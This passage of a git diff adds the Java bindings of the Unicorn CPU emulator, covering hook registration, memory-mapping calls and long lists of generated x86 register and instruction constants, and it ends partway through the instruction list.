@param type Type of memory event being hooked such as UC_HOOK_MEM_READ_UNMAPPED or UC_HOOK_MEM_WRITE_PROT + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(EventMemHook callback, int type, Object user_data) throws UnicornException { + //test all of the EventMem related bits in type + for (Integer htype : eventMemMap.keySet()) { + if ((type & htype) != 0) { //the 'htype' bit is set in type + Long handle = eventMemHandles.get(htype); + if (handle == null) { + eventMemHandles.put(htype, registerHook(eng, htype)); + } + int cbType = eventMemMap.get(htype); + ArrayList flist = eventMemLists.get(cbType); + if (flist == null) { + flist = new ArrayList(); + allLists.add(flist); + eventMemLists.put(cbType, flist); + } + flist.add(new Tuple(callback, user_data)); + } + } + } + +/** + * Hook registration for UC_HOOK_INSN hooks (x86 IN instruction only). The registered callback + * function will be invoked whenever an x86 IN instruction is executed. + * + * @param callback Implementation of a InHook interface + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(InHook callback, Object user_data) throws UnicornException { + if (inHandle == 0) { + inHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_IN); + } + inList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_INSN hooks (x86 OUT instruction only). The registered callback + * function will be invoked whenever an x86 OUT instruction is executed. + * + * @param callback Implementation of a OutHook interface + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(OutHook callback, Object user_data) throws UnicornException { + if (outHandle == 0) { + outHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_OUT); + } + outList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_INSN hooks (x86 SYSCALL/SYSENTER instruction only). The registered callback + * function will be invoked whenever an x86 SYSCALL or SYSENTER instruction is executed. + * + * @param callback Implementation of a SyscallHook interface + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(SyscallHook callback, Object user_data) throws UnicornException { + if (syscallHandle == 0) { + syscallHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_SYSCALL); + } + syscallList.add(new Tuple(callback, user_data)); + } + + public void hook_del(Hook hook) throws UnicornException { + for (ArrayList l : allLists) { + for (Tuple t : l) { + if (t.function.equals(hook)) { + allLists.remove(t); + return; + } + } + } + } + +/** + * Map a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms Permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC + */ + public native void mem_map(long address, long size, int perms) throws UnicornException; + +/** + * Map existing host memory in for emulation. + * This API adds a memory region that can be used by emulation. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms Permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC + * @param ptr Block of host memory backing the newly mapped memory. This block is + * expected to be an equal or larger size than provided, and be mapped with at + * least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. + */ + public native void mem_map_ptr(long address, long size, int perms, byte[] block) throws UnicornException; + +/** + * Unmap a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + */ + public native void mem_unmap(long address, long size) throws UnicornException; + +/** + * Change permissions on a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms New permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC + */ + public native void mem_protect(long address, long size, int perms) throws UnicornException; + +/** + * Retrieve all memory regions mapped by mem_map() and mem_map_ptr() + * NOTE: memory regions may be split by mem_unmap() + * + * @return list of mapped regions. +*/ + public native MemRegion[] mem_regions() throws UnicornException; + +/** + * Allocate a region that can be used with uc_context_{save,restore} to perform + * quick save/rollback of the CPU context, which includes registers and some + * internal metadata. Contexts may not be shared across engine instances with + * differing arches or modes. + * + * @return context handle for use with save/restore. +*/ + public native long context_alloc(); + +/** + * Free a resource allocated within Unicorn. Use for handles + * allocated by context_alloc. + * + * @param Previously allocated Unicorn object handle. +*/ + public native void free(long handle); + +/** + * Save a copy of the internal CPU context. + * This API should be used to efficiently make or update a saved copy of the + * internal CPU state. + * + * @param context handle previously returned by context_alloc. +*/ + public native void context_save(long context); + +/** + * Restore the current CPU context from a saved copy. + * This API should be used to roll the CPU context back to a previous + * state saved by uc_context_save(). + * + * @param context handle previously returned by context_alloc. +*/ + public native void context_restore(long context); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornConst.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornConst.java new file mode 100644 index 0000000..ee5c984 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornConst.java @@ -0,0 +1,114 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface UnicornConst { + public static final int UC_API_MAJOR = 1; + + public static final int UC_API_MINOR = 0; + public static final int UC_VERSION_MAJOR = 1; + + public static final int UC_VERSION_MINOR = 0; + public static final int UC_VERSION_EXTRA = 2; + public static final int UC_SECOND_SCALE = 1000000; + public static final int UC_MILISECOND_SCALE = 1000; + public static final int UC_ARCH_ARM = 1; + public static final int UC_ARCH_ARM64 = 2; + public static final int UC_ARCH_MIPS = 3; + public static final int UC_ARCH_X86 = 4; + public static final int UC_ARCH_PPC = 5; + public static final int UC_ARCH_SPARC = 6; + public static final int UC_ARCH_M68K = 7; + public static final int UC_ARCH_MAX = 8; + + public static final int UC_MODE_LITTLE_ENDIAN = 0; + public static final int UC_MODE_BIG_ENDIAN = 1073741824; + + public static final int UC_MODE_ARM = 0; + public static final int UC_MODE_THUMB = 16; + public static final int UC_MODE_MCLASS = 32; + public static final int UC_MODE_V8 = 64; + public static final int UC_MODE_ARM926 = 128; + public static final int UC_MODE_ARM946 = 256; + public static final int UC_MODE_ARM1176 = 512; + public static final int UC_MODE_MICRO = 16; + public static final int UC_MODE_MIPS3 = 32; + public static final int UC_MODE_MIPS32R6 = 64; + public static final int UC_MODE_MIPS32 = 4; + public static final int UC_MODE_MIPS64 = 8; + public static final int UC_MODE_16 = 2; + public static final int UC_MODE_32 = 4; + public static final int UC_MODE_64 = 8; + public static final int UC_MODE_PPC32 = 4; + public static final int UC_MODE_PPC64 = 8; + public static final int UC_MODE_QPX = 16; + public static final int UC_MODE_SPARC32 = 4; + public static final int UC_MODE_SPARC64 = 8; + public static final int UC_MODE_V9 = 16; + + public static final int UC_ERR_OK = 0; + public static final int UC_ERR_NOMEM = 1; + public static final int UC_ERR_ARCH = 2; + public static final int UC_ERR_HANDLE = 3; + public static final int UC_ERR_MODE = 4; + public static final int UC_ERR_VERSION = 5; + public static final int UC_ERR_READ_UNMAPPED = 6; + public static final int UC_ERR_WRITE_UNMAPPED = 7; + public static final int UC_ERR_FETCH_UNMAPPED = 8; + public static final int UC_ERR_HOOK = 9; + public static final int UC_ERR_INSN_INVALID = 10; + public static final int UC_ERR_MAP = 11; + public static final int UC_ERR_WRITE_PROT = 12; + public static final int UC_ERR_READ_PROT = 13; + public static final int UC_ERR_FETCH_PROT = 14; + public static final int UC_ERR_ARG = 15; + public static final int UC_ERR_READ_UNALIGNED = 16; + public static final int UC_ERR_WRITE_UNALIGNED = 17; + public static final int UC_ERR_FETCH_UNALIGNED = 18; + public static final int UC_ERR_HOOK_EXIST = 19; + public static final int UC_ERR_RESOURCE = 20; + public static final int UC_ERR_EXCEPTION = 21; + public static final int UC_MEM_READ = 16; + public static final int UC_MEM_WRITE = 17; + public static final int UC_MEM_FETCH = 18; + public static final int UC_MEM_READ_UNMAPPED = 19; + public static final int UC_MEM_WRITE_UNMAPPED = 20; + public static final int UC_MEM_FETCH_UNMAPPED = 21; + public static final int UC_MEM_WRITE_PROT = 22; + public static final int UC_MEM_READ_PROT = 23; + public static final int UC_MEM_FETCH_PROT = 24; + public static final int UC_MEM_READ_AFTER = 25; + public static final int UC_HOOK_INTR = 1; + public static final int UC_HOOK_INSN = 2; + public static final int UC_HOOK_CODE = 4; + public static final int UC_HOOK_BLOCK = 8; + public static final int UC_HOOK_MEM_READ_UNMAPPED = 16; + public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32; + public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64; + public static final int UC_HOOK_MEM_READ_PROT = 128; + public static final int UC_HOOK_MEM_WRITE_PROT = 256; + public static final int UC_HOOK_MEM_FETCH_PROT = 512; + public static final int UC_HOOK_MEM_READ = 1024; + public static final int UC_HOOK_MEM_WRITE = 2048; + public static final int UC_HOOK_MEM_FETCH = 4096; + public static final int UC_HOOK_MEM_READ_AFTER = 8192; + public static final int UC_HOOK_INSN_INVALID = 16384; + public static final int UC_HOOK_MEM_UNMAPPED = 112; + public static final int UC_HOOK_MEM_PROT = 896; + public static final int UC_HOOK_MEM_READ_INVALID = 144; + public static final int UC_HOOK_MEM_WRITE_INVALID = 288; + public static final int UC_HOOK_MEM_FETCH_INVALID = 576; + public static final int UC_HOOK_MEM_INVALID = 1008; + public static final int UC_HOOK_MEM_VALID = 7168; + public static final int UC_QUERY_MODE = 1; + public static final int UC_QUERY_PAGE_SIZE = 2; + public static final int UC_QUERY_ARCH = 3; + public static final int UC_QUERY_TIMEOUT = 4; + + public static final int UC_PROT_NONE = 0; + public static final int UC_PROT_READ = 1; + public static final int UC_PROT_WRITE = 2; + public static final int UC_PROT_EXEC = 4; + public static final int UC_PROT_ALL = 7; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornException.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornException.java new file mode 100644 index 0000000..175775c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornException.java @@ -0,0 +1,34 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public class UnicornException extends RuntimeException { + + public UnicornException() { + super(); + } + + public UnicornException(String msg) { + super(msg); + } + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/WriteHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/WriteHook.java new file mode 100644 index 0000000..ee0f79c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/WriteHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface WriteHook extends Hook { + + public void hook(Unicorn u, long address, int size, long value, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86Const.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86Const.java new file mode 100644 index 0000000..d7a358b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86Const.java @@ -0,0 +1,1605 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface X86Const { + +// X86 registers + + public static final int UC_X86_REG_INVALID = 0; + public static final int UC_X86_REG_AH = 1; + public static final int UC_X86_REG_AL = 2; + public static final int UC_X86_REG_AX = 3; + public static final int UC_X86_REG_BH = 4; + public static final int UC_X86_REG_BL = 5; + public static final int UC_X86_REG_BP = 6; + public static final int UC_X86_REG_BPL = 7; + public static final int UC_X86_REG_BX = 8; + public static final int UC_X86_REG_CH = 9; + public static final int UC_X86_REG_CL = 10; + public static final int UC_X86_REG_CS = 11; + public static final int UC_X86_REG_CX = 12; + public static final int UC_X86_REG_DH = 13; + public static final int UC_X86_REG_DI = 14; + public static final int UC_X86_REG_DIL = 15; + public static final int UC_X86_REG_DL = 16; + public static final int UC_X86_REG_DS = 17; + public static final int UC_X86_REG_DX = 18; + public static final int UC_X86_REG_EAX = 19; + public static final int UC_X86_REG_EBP = 20; + public static final int UC_X86_REG_EBX = 21; + public static final int UC_X86_REG_ECX = 22; + public static final int UC_X86_REG_EDI = 23; + public static final int UC_X86_REG_EDX = 24; + public static final int UC_X86_REG_EFLAGS = 25; + public static final int UC_X86_REG_EIP = 26; + public static final int UC_X86_REG_EIZ = 27; + public static final int UC_X86_REG_ES = 28; + public static final int UC_X86_REG_ESI = 29; + public static final int UC_X86_REG_ESP = 30; + public static final int UC_X86_REG_FPSW = 31; + public static final int UC_X86_REG_FS = 32; + public static final int UC_X86_REG_GS = 33; + public static final int UC_X86_REG_IP = 34; + public static final int UC_X86_REG_RAX = 35; + public static final int UC_X86_REG_RBP = 36; + public static final int UC_X86_REG_RBX = 37; + public static final int UC_X86_REG_RCX = 38; + public static final int UC_X86_REG_RDI = 39; + public static final int UC_X86_REG_RDX = 40; + public static final int UC_X86_REG_RIP = 41; + public static final int UC_X86_REG_RIZ = 42; + public static final int UC_X86_REG_RSI = 43; + public static final int UC_X86_REG_RSP = 44; + public static final int UC_X86_REG_SI = 45; + public static final int UC_X86_REG_SIL = 46; + public static final int UC_X86_REG_SP = 47; + public static final int UC_X86_REG_SPL = 48; + public static final int UC_X86_REG_SS = 49; + public static final int UC_X86_REG_CR0 = 50; + public static final int UC_X86_REG_CR1 = 51; + public static final int UC_X86_REG_CR2 = 52; + public static final int UC_X86_REG_CR3 = 53; + public static final int UC_X86_REG_CR4 = 54; + public static final int UC_X86_REG_CR5 = 55; + public static final int UC_X86_REG_CR6 = 56; + public static final int UC_X86_REG_CR7 = 57; + public static final int UC_X86_REG_CR8 = 58; + public static final int UC_X86_REG_CR9 = 59; + public static final int UC_X86_REG_CR10 = 60; + public static final int UC_X86_REG_CR11 = 61; + public static final int UC_X86_REG_CR12 = 62; + public static final int UC_X86_REG_CR13 = 63; + public static final int UC_X86_REG_CR14 = 64; + public static final int UC_X86_REG_CR15 = 65; + public static final int UC_X86_REG_DR0 = 66; + public static final int UC_X86_REG_DR1 = 67; + public static final int UC_X86_REG_DR2 = 68; + public static final int UC_X86_REG_DR3 = 69; + public static final int UC_X86_REG_DR4 = 70; + public static final int UC_X86_REG_DR5 = 71; + public static final int UC_X86_REG_DR6 = 72; + public static final int UC_X86_REG_DR7 = 73; + public static final int UC_X86_REG_DR8 = 74; + public static final int UC_X86_REG_DR9 = 75; + public static final int UC_X86_REG_DR10 = 76; + public static final int UC_X86_REG_DR11 = 77; + public static final int UC_X86_REG_DR12 = 78; + public static final int UC_X86_REG_DR13 = 79; + public static final int UC_X86_REG_DR14 = 80; + public static final int UC_X86_REG_DR15 = 81; + public static final int UC_X86_REG_FP0 = 82; + public static final int UC_X86_REG_FP1 = 83; + public static final int UC_X86_REG_FP2 = 84; + public static final int UC_X86_REG_FP3 = 85; + public static final int UC_X86_REG_FP4 = 86; + public static final int UC_X86_REG_FP5 = 87; + public static final int UC_X86_REG_FP6 = 88; + public static final int UC_X86_REG_FP7 = 89; + public static final int UC_X86_REG_K0 = 90; + public static final int UC_X86_REG_K1 = 91; + public static final int UC_X86_REG_K2 = 92; + public static final int UC_X86_REG_K3 = 93; + public static final int UC_X86_REG_K4 = 94; + public static final int UC_X86_REG_K5 = 95; + public static final int UC_X86_REG_K6 = 96; + public static final int UC_X86_REG_K7 = 97; + public static final int UC_X86_REG_MM0 = 98; + public static final int UC_X86_REG_MM1 = 99; + public static final int UC_X86_REG_MM2 = 100; + public static final int UC_X86_REG_MM3 = 101; + public static final int UC_X86_REG_MM4 = 102; + public static final int UC_X86_REG_MM5 = 103; + public static final int UC_X86_REG_MM6 = 104; + public static final int UC_X86_REG_MM7 = 105; + public static final int UC_X86_REG_R8 = 106; + public static final int UC_X86_REG_R9 = 107; + public static final int UC_X86_REG_R10 = 108; + public static final int UC_X86_REG_R11 = 109; + public static final int UC_X86_REG_R12 = 110; + public static final int UC_X86_REG_R13 = 111; + public static final int UC_X86_REG_R14 = 112; + public static final int UC_X86_REG_R15 = 113; + public static final int UC_X86_REG_ST0 = 114; + public static final int UC_X86_REG_ST1 = 115; + public static final int UC_X86_REG_ST2 = 116; + public static final int UC_X86_REG_ST3 = 117; + public static final int UC_X86_REG_ST4 = 118; + public static final int UC_X86_REG_ST5 = 119; + public static final int UC_X86_REG_ST6 = 120; + public static final int UC_X86_REG_ST7 = 121; + public static final int UC_X86_REG_XMM0 = 122; + public static final int UC_X86_REG_XMM1 = 123; + public static final int UC_X86_REG_XMM2 = 124; + public static final int UC_X86_REG_XMM3 = 125; + public static final int UC_X86_REG_XMM4 = 126; + public static final int UC_X86_REG_XMM5 = 127; + public static final int UC_X86_REG_XMM6 = 128; + public static final int UC_X86_REG_XMM7 = 129; + public static final int UC_X86_REG_XMM8 = 130; + public static final int UC_X86_REG_XMM9 = 131; + public static final int UC_X86_REG_XMM10 = 132; + public static final int UC_X86_REG_XMM11 = 133; + public static final int UC_X86_REG_XMM12 = 134; + public static final int UC_X86_REG_XMM13 = 135; + public static final int UC_X86_REG_XMM14 = 136; + public static final int UC_X86_REG_XMM15 = 137; + public static final int UC_X86_REG_XMM16 = 138; + public static final int UC_X86_REG_XMM17 = 139; + public static final int UC_X86_REG_XMM18 = 140; + public static final int UC_X86_REG_XMM19 = 141; + public static final int UC_X86_REG_XMM20 = 142; + public static final int UC_X86_REG_XMM21 = 143; + public static final int UC_X86_REG_XMM22 = 144; + public static final int UC_X86_REG_XMM23 = 145; + public static final int UC_X86_REG_XMM24 = 146; + public static final int UC_X86_REG_XMM25 = 147; + public static final int UC_X86_REG_XMM26 = 148; + public static final int UC_X86_REG_XMM27 = 149; + public static final int UC_X86_REG_XMM28 = 150; + public static final int UC_X86_REG_XMM29 = 151; + public static final int UC_X86_REG_XMM30 = 152; + public static final int UC_X86_REG_XMM31 = 153; + public static final int UC_X86_REG_YMM0 = 154; + public static final int UC_X86_REG_YMM1 = 155; + public static final int UC_X86_REG_YMM2 = 156; + public static final int UC_X86_REG_YMM3 = 157; + public static final int UC_X86_REG_YMM4 = 158; + public static final int UC_X86_REG_YMM5 = 159; + public static final int UC_X86_REG_YMM6 = 160; + public static final int UC_X86_REG_YMM7 = 161; + public static final int UC_X86_REG_YMM8 = 162; + public static final int UC_X86_REG_YMM9 = 163; + public static final int UC_X86_REG_YMM10 = 164; + public static final int UC_X86_REG_YMM11 = 165; + public static final int UC_X86_REG_YMM12 = 166; + public static final int UC_X86_REG_YMM13 = 167; + public static final int UC_X86_REG_YMM14 = 168; + public static final int UC_X86_REG_YMM15 = 169; + public static final int UC_X86_REG_YMM16 = 170; + public static final int UC_X86_REG_YMM17 = 171; + public static final int UC_X86_REG_YMM18 = 172; + public static final int UC_X86_REG_YMM19 = 173; + public static final int UC_X86_REG_YMM20 = 174; + public static final int UC_X86_REG_YMM21 = 175; + public static final int UC_X86_REG_YMM22 = 176; + public static final int UC_X86_REG_YMM23 = 177; + public static final int UC_X86_REG_YMM24 = 178; + public static final int UC_X86_REG_YMM25 = 179; + public static final int UC_X86_REG_YMM26 = 180; + public static final int UC_X86_REG_YMM27 = 181; + public static final int UC_X86_REG_YMM28 = 182; + public static final int UC_X86_REG_YMM29 = 183; + public static final int UC_X86_REG_YMM30 = 184; + public static final int UC_X86_REG_YMM31 = 185; + public static final int UC_X86_REG_ZMM0 = 186; + public static final int UC_X86_REG_ZMM1 = 187; + public static final int UC_X86_REG_ZMM2 = 188; + public static final int UC_X86_REG_ZMM3 = 189; + public static final int UC_X86_REG_ZMM4 = 190; + public static final int UC_X86_REG_ZMM5 = 191; + public static final int UC_X86_REG_ZMM6 = 192; + public static final int UC_X86_REG_ZMM7 = 193; + public static final int UC_X86_REG_ZMM8 = 194; + public static final int UC_X86_REG_ZMM9 = 195; + public static final int UC_X86_REG_ZMM10 = 196; + public static final int UC_X86_REG_ZMM11 = 197; + public static final int UC_X86_REG_ZMM12 = 198; + public static final int UC_X86_REG_ZMM13 = 199; + public static final int UC_X86_REG_ZMM14 = 200; + public static final int UC_X86_REG_ZMM15 = 201; + public static final int UC_X86_REG_ZMM16 = 202; + public static final int UC_X86_REG_ZMM17 = 203; + public static final int UC_X86_REG_ZMM18 = 204; + public static final int UC_X86_REG_ZMM19 = 205; + public static final int UC_X86_REG_ZMM20 = 206; + public static final int UC_X86_REG_ZMM21 = 207; + public static final int UC_X86_REG_ZMM22 = 208; + public static final int UC_X86_REG_ZMM23 = 209; + public static final int UC_X86_REG_ZMM24 = 210; + public static final int UC_X86_REG_ZMM25 = 211; + public static final int UC_X86_REG_ZMM26 = 212; + public static final int UC_X86_REG_ZMM27 = 213; + public static final int UC_X86_REG_ZMM28 = 214; + public static final int UC_X86_REG_ZMM29 = 215; + public static final int UC_X86_REG_ZMM30 = 216; + public static final int UC_X86_REG_ZMM31 = 217; + public static final int UC_X86_REG_R8B = 218; + public static final int UC_X86_REG_R9B = 219; + public static final int UC_X86_REG_R10B = 220; + public static final int UC_X86_REG_R11B = 221; + public static final int UC_X86_REG_R12B = 222; + public static final int UC_X86_REG_R13B = 223; + public static final int UC_X86_REG_R14B = 224; + public static final int UC_X86_REG_R15B = 225; + public static final int UC_X86_REG_R8D = 226; + public static final int UC_X86_REG_R9D = 227; + public static final int UC_X86_REG_R10D = 228; + public static final int UC_X86_REG_R11D = 229; + public static final int UC_X86_REG_R12D = 230; + public static final int UC_X86_REG_R13D = 231; + public static final int UC_X86_REG_R14D = 232; + public static final int UC_X86_REG_R15D = 233; + public static final int UC_X86_REG_R8W = 234; + public static final int UC_X86_REG_R9W = 235; + public static final int UC_X86_REG_R10W = 236; + public static final int UC_X86_REG_R11W = 237; + public static final int UC_X86_REG_R12W = 238; + public static final int UC_X86_REG_R13W = 239; + public static final int UC_X86_REG_R14W = 240; + public static final int UC_X86_REG_R15W = 241; + public static final int UC_X86_REG_IDTR = 242; + public static final int UC_X86_REG_GDTR = 243; + public static final int UC_X86_REG_LDTR = 244; + public static final int UC_X86_REG_TR = 245; + public static final int UC_X86_REG_FPCW = 246; + public static final int UC_X86_REG_FPTAG = 247; + public static final int UC_X86_REG_MSR = 248; + public static final int UC_X86_REG_MXCSR = 249; + public static final int UC_X86_REG_FS_BASE = 250; + public static final int UC_X86_REG_GS_BASE = 251; + public static final int UC_X86_REG_ENDING = 252; + +// X86 instructions + + public static final int UC_X86_INS_INVALID = 0; + public static final int UC_X86_INS_AAA = 1; + public static final int UC_X86_INS_AAD = 2; + public static final int UC_X86_INS_AAM = 3; + public static final int UC_X86_INS_AAS = 4; + public static final int UC_X86_INS_FABS = 5; + public static final int UC_X86_INS_ADC = 6; + public static final int UC_X86_INS_ADCX = 7; + public static final int UC_X86_INS_ADD = 8; + public static final int UC_X86_INS_ADDPD = 9; + public static final int UC_X86_INS_ADDPS = 10; + public static final int UC_X86_INS_ADDSD = 11; + public static final int UC_X86_INS_ADDSS = 12; + public static final int UC_X86_INS_ADDSUBPD = 13; + public static final int UC_X86_INS_ADDSUBPS = 14; + public static final int UC_X86_INS_FADD = 15; + public static final int UC_X86_INS_FIADD = 16; + public static final int UC_X86_INS_FADDP = 17; + public static final int UC_X86_INS_ADOX = 18; + public static final int UC_X86_INS_AESDECLAST = 19; + public static final int UC_X86_INS_AESDEC = 20; + public static final int UC_X86_INS_AESENCLAST = 21; + public static final int UC_X86_INS_AESENC = 22; + public static final int UC_X86_INS_AESIMC = 23; + public static final int UC_X86_INS_AESKEYGENASSIST = 24; + public static final int UC_X86_INS_AND = 25; + public static final int UC_X86_INS_ANDN = 26; + public static final int UC_X86_INS_ANDNPD = 27; + public static final int UC_X86_INS_ANDNPS = 28; + public static final int UC_X86_INS_ANDPD = 29; + public static final int UC_X86_INS_ANDPS = 30; + public static final int UC_X86_INS_ARPL = 31; + public static final int UC_X86_INS_BEXTR = 32; + public static final int UC_X86_INS_BLCFILL = 33; + public static final int UC_X86_INS_BLCI = 34; + public static final int UC_X86_INS_BLCIC = 35; + public static final int UC_X86_INS_BLCMSK = 36; + public static final int UC_X86_INS_BLCS = 37; + public static final int UC_X86_INS_BLENDPD = 38; + public static final int UC_X86_INS_BLENDPS = 39; + public static final int UC_X86_INS_BLENDVPD = 40; + public static final int UC_X86_INS_BLENDVPS = 41; + public static final int UC_X86_INS_BLSFILL = 42; + public static final int UC_X86_INS_BLSI = 43; + public static final int UC_X86_INS_BLSIC = 44; + public static final int UC_X86_INS_BLSMSK = 45; + public static final int UC_X86_INS_BLSR = 46; + public static final int UC_X86_INS_BOUND = 47; + public static final int UC_X86_INS_BSF = 48; + public static final int UC_X86_INS_BSR = 49; + public static final int UC_X86_INS_BSWAP = 50; + public static final int UC_X86_INS_BT = 51; + public static final int UC_X86_INS_BTC = 52; + public static final int UC_X86_INS_BTR = 53; + public static final int UC_X86_INS_BTS = 54; + public static final int UC_X86_INS_BZHI = 55; + public static final int UC_X86_INS_CALL = 56; + public static final int UC_X86_INS_CBW = 57; + public static final int UC_X86_INS_CDQ = 58; + public static final int UC_X86_INS_CDQE = 59; + public static final int UC_X86_INS_FCHS = 60; + public static final int UC_X86_INS_CLAC = 61; + public static final int UC_X86_INS_CLC = 62; + public static final int UC_X86_INS_CLD = 63; + public static final int UC_X86_INS_CLFLUSH = 64; + public static final int UC_X86_INS_CLFLUSHOPT = 65; + public static final int UC_X86_INS_CLGI = 66; + public static final int UC_X86_INS_CLI = 67; + public static final int UC_X86_INS_CLTS = 68; + public static final int UC_X86_INS_CLWB = 69; + public static final int UC_X86_INS_CMC = 70; + public static final int UC_X86_INS_CMOVA = 71; + public static final int UC_X86_INS_CMOVAE = 72; + public static final int UC_X86_INS_CMOVB = 73; + public static final int UC_X86_INS_CMOVBE = 74; + public static final int UC_X86_INS_FCMOVBE = 75; + public static final int UC_X86_INS_FCMOVB = 76; + public static final int UC_X86_INS_CMOVE = 77; + public static final int UC_X86_INS_FCMOVE = 78; + public static final int UC_X86_INS_CMOVG = 79; + public static final int UC_X86_INS_CMOVGE = 80; + public static final int UC_X86_INS_CMOVL = 81; + public static final int UC_X86_INS_CMOVLE = 82; + public static final int UC_X86_INS_FCMOVNBE = 83; + public static final int UC_X86_INS_FCMOVNB = 84; + public static final int UC_X86_INS_CMOVNE = 85; + public static final int UC_X86_INS_FCMOVNE = 86; + public static final int UC_X86_INS_CMOVNO = 87; + public static final int UC_X86_INS_CMOVNP = 88; + public static final int UC_X86_INS_FCMOVNU = 89; + public static final int UC_X86_INS_CMOVNS = 90; + public static final int UC_X86_INS_CMOVO = 91; + public static final int UC_X86_INS_CMOVP = 92; + public static final int UC_X86_INS_FCMOVU = 93; + public static final int UC_X86_INS_CMOVS = 94; + public static final int UC_X86_INS_CMP = 95; + public static final int UC_X86_INS_CMPPD = 96; + public static final int UC_X86_INS_CMPPS = 97; + public static final int UC_X86_INS_CMPSB = 98; + public static final int UC_X86_INS_CMPSD = 99; + public static final int UC_X86_INS_CMPSQ = 100; + public static final int UC_X86_INS_CMPSS = 101; + public static final int UC_X86_INS_CMPSW = 102; + public static final int UC_X86_INS_CMPXCHG16B = 103; + public static final int UC_X86_INS_CMPXCHG = 104; + public static final int UC_X86_INS_CMPXCHG8B = 105; + public static final int UC_X86_INS_COMISD = 106; + public static final int UC_X86_INS_COMISS = 107; + public static final int UC_X86_INS_FCOMP = 108; + public static final int UC_X86_INS_FCOMPI = 109; + public static final int UC_X86_INS_FCOMI = 110; + public static final int UC_X86_INS_FCOM = 111; + public static final int UC_X86_INS_FCOS = 112; + public static final int UC_X86_INS_CPUID = 113; + public static final int UC_X86_INS_CQO = 114; + public static final int UC_X86_INS_CRC32 = 115; + public static final int UC_X86_INS_CVTDQ2PD = 116; + public static final int UC_X86_INS_CVTDQ2PS = 117; + public static final int UC_X86_INS_CVTPD2DQ = 118; + public static final int UC_X86_INS_CVTPD2PS = 119; + public static final int UC_X86_INS_CVTPS2DQ = 120; + public static final int UC_X86_INS_CVTPS2PD = 121; + public static final int UC_X86_INS_CVTSD2SI = 122; + public static final int UC_X86_INS_CVTSD2SS = 123; + public static final int UC_X86_INS_CVTSI2SD = 124; + public static final int UC_X86_INS_CVTSI2SS = 125; + public static final int UC_X86_INS_CVTSS2SD = 126; + public static final int UC_X86_INS_CVTSS2SI = 127; + public static final int UC_X86_INS_CVTTPD2DQ = 128; + public static final int UC_X86_INS_CVTTPS2DQ = 129; + public static final int UC_X86_INS_CVTTSD2SI = 130; + public static final int UC_X86_INS_CVTTSS2SI = 131; + public static final int UC_X86_INS_CWD = 132; + public static final int UC_X86_INS_CWDE = 133; + public static final int UC_X86_INS_DAA = 134; + public static final int UC_X86_INS_DAS = 135; + public static final int UC_X86_INS_DATA16 = 136; + public static final int UC_X86_INS_DEC = 137; + public static final int UC_X86_INS_DIV = 138; + public static final int UC_X86_INS_DIVPD = 139; + public static final int UC_X86_INS_DIVPS = 140; + public static final int UC_X86_INS_FDIVR = 141; + public static final int UC_X86_INS_FIDIVR = 142; + public static final int UC_X86_INS_FDIVRP = 143; + public static final int UC_X86_INS_DIVSD = 144; + public static final int UC_X86_INS_DIVSS = 